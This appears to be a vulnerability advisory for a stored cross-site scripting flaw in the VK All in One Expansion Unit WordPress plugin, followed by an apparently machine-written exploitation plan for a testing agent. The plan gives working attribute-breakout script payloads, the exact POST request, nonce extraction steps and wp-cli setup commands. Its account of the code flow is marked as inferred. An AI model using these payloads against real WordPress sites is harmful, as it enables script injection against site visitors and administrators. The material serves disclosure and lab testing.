VK All in One Expansion Unit <= 9.112.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via SNS Title
Description
The VK All in One Expansion Unit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'vkExUnit_sns_title' parameter in all versions up to, and including, 9.112.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=9.112.3Source Code
WordPress.org SVNPatched version not available.
This research plan outlines the steps to exploit **CVE-2025-11737**, a Stored Cross-Site Scripting (XSS) vulnerability in the **VK All in One Expansion Unit** plugin for WordPress. --- ### 1. Vulnerability Summary * **Vulnerability:** Stored Cross-Site Scripting (XSS) via the `vkExUnit_sns_title…
Show full research plan
This research plan outlines the steps to exploit CVE-2025-11737, a Stored Cross-Site Scripting (XSS) vulnerability in the VK All in One Expansion Unit plugin for WordPress.
1. Vulnerability Summary
- Vulnerability: Stored Cross-Site Scripting (XSS) via the
vkExUnit_sns_titleparameter. - Affected Versions: <= 9.112.3.
- Vulnerable Component: The "SNS" (Social Networking Service) settings module, specifically the portion that allows users to override the title for Open Graph (OG) or Twitter Cards on a per-post basis.
- Root Cause: The plugin fails to adequately sanitize the
vkExUnit_sns_titleinput when saving post meta and fails to escape the value when outputting it in the<head>section of the page (usually within meta tags likeog:titleortwitter:title). - Required Privileges: Contributor or higher (users with the
edit_postscapability).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/post.php(for existing posts) or/wp-admin/post-new.php(for new posts). - Action:
editpost(standard WordPress post update). - Parameter:
vkExUnit_sns_title. - Preconditions: The "SNS" module must be active within the VK All in One Expansion Unit settings.
- Persistence: The payload is stored in the
wp_postmetatable and persists until the post is deleted or the meta value is manually updated.
3. Code Flow (Inferred)
- Input: An authenticated Contributor submits a post edit form. The POST request includes
vkExUnit_sns_title=<script>alert(1)</script>. - Storage: The plugin registers a hook (likely
save_post) that processes fields from the VK ExUnit meta box.- Function: Likely within a class handling post meta, e.g.,
VkExUnit_Sns_Admin::save_post_meta. - Logic:
update_post_meta($post_id, 'vkExUnit_sns_title', $_POST['vkExUnit_sns_title'])is called withoutsanitize_text_field.
- Function: Likely within a class handling post meta, e.g.,
- Output: When a user (admin or public) views the post.
- Hook:
add_action('wp_head', ...)or a similar hook used for SEO/SNS meta tags. - Function: Likely
VkExUnit_Sns_Public::output_ogpor similar. - Logic: The value of
vkExUnit_sns_titleis retrieved usingget_post_meta. - Sink: The value is echoed directly into a
<meta>tag attribute or content withoutesc_attroresc_html.
- Hook:
4. Nonce Acquisition Strategy
Since this exploit leverages the standard WordPress post-editing flow, the primary nonces required are those generated by WordPress core for post editing.
- Identify Shortcode/Trigger: The SNS meta box appears on the standard Post/Page editor. No specific shortcode is needed to trigger the vulnerability, but the plugin must be active.
- Create/Edit Post:
- Navigate to
/wp-admin/post-new.php. - Extract the
_wpnoncefrom the form (action:add-post). - Extract the
_wp_http_referer.
- Navigate to
- JavaScript Extraction:
The execution agent should usebrowser_navigateto the post editor and then:browser_eval("document.querySelector('#_wpnonce').value")to get the core WordPress nonce.- Check for plugin-specific nonces in the VK ExUnit meta box if
check_admin_refereris used by the plugin (e.g.,browser_eval("document.querySelector('#vkExUnit_sns_nonce')?.value")).
5. Exploitation Strategy
Step 1: Setup
Create a Contributor-level user and ensure the plugin is active.
Step 2: Payload Injection
Submit a POST request to /wp-admin/post.php to save the malicious SNS title.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload (Body):
Note: The payloadaction=editpost &post_ID=[POST_ID] &_wpnonce=[NONCE] &_wp_http_referer=/wp-admin/post.php?post=[POST_ID]&action=edit &post_title=XSS Test &vkExUnit_sns_title="><script>alert(document.domain)</script> &vkExUnit_sns_description=TestDescription"><script>...is designed to break out of thecontentattribute of a<meta>tag.
Step 3: Verification (Frontend)
Navigate to the frontend URL of the post created/edited.
6. Test Data Setup
- Plugin Status: Ensure
vk-all-in-one-expansion-unitis installed and activated. - User: Create a contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Post: Create an initial post for the contributor to edit:
wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID) --post_title="Target Post"
7. Expected Results
- The POST request should return a
302 Redirectback to the post editor. - When viewing the frontend of the post or the "Preview," the HTML source should contain:
<meta property="og:title" content=""><script>alert(document.domain)</script>">(or similar depending on the specific meta tag used). - A browser alert box should appear showing the site domain.
8. Verification Steps (Post-Exploit)
Confirm the metadata is stored in the database:wp post meta get [POST_ID] vkExUnit_sns_title
Expected output: "><script>alert(document.domain)</script>
9. Alternative Approaches
- Meta Box Check: If the plugin uses a different meta key (e.g., a serialized array), use
wp post meta list [POST_ID]to find the exact key used by VK ExUnit. - Attribute Breakout: If the payload is rendered inside an attribute but the plugin performs basic escaping of
>, try a payload that uses event handlers:vkExUnit_sns_title='onmouseover=alert(1) style=position:fixed;top:0;left:0;width:100%;height:100%;'(if injected into a tag that supports event handlers). - Twitter Card Sink: Check if the payload reflects in
twitter:titleortwitter:descriptionifog:titleis sanitized but others are not.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.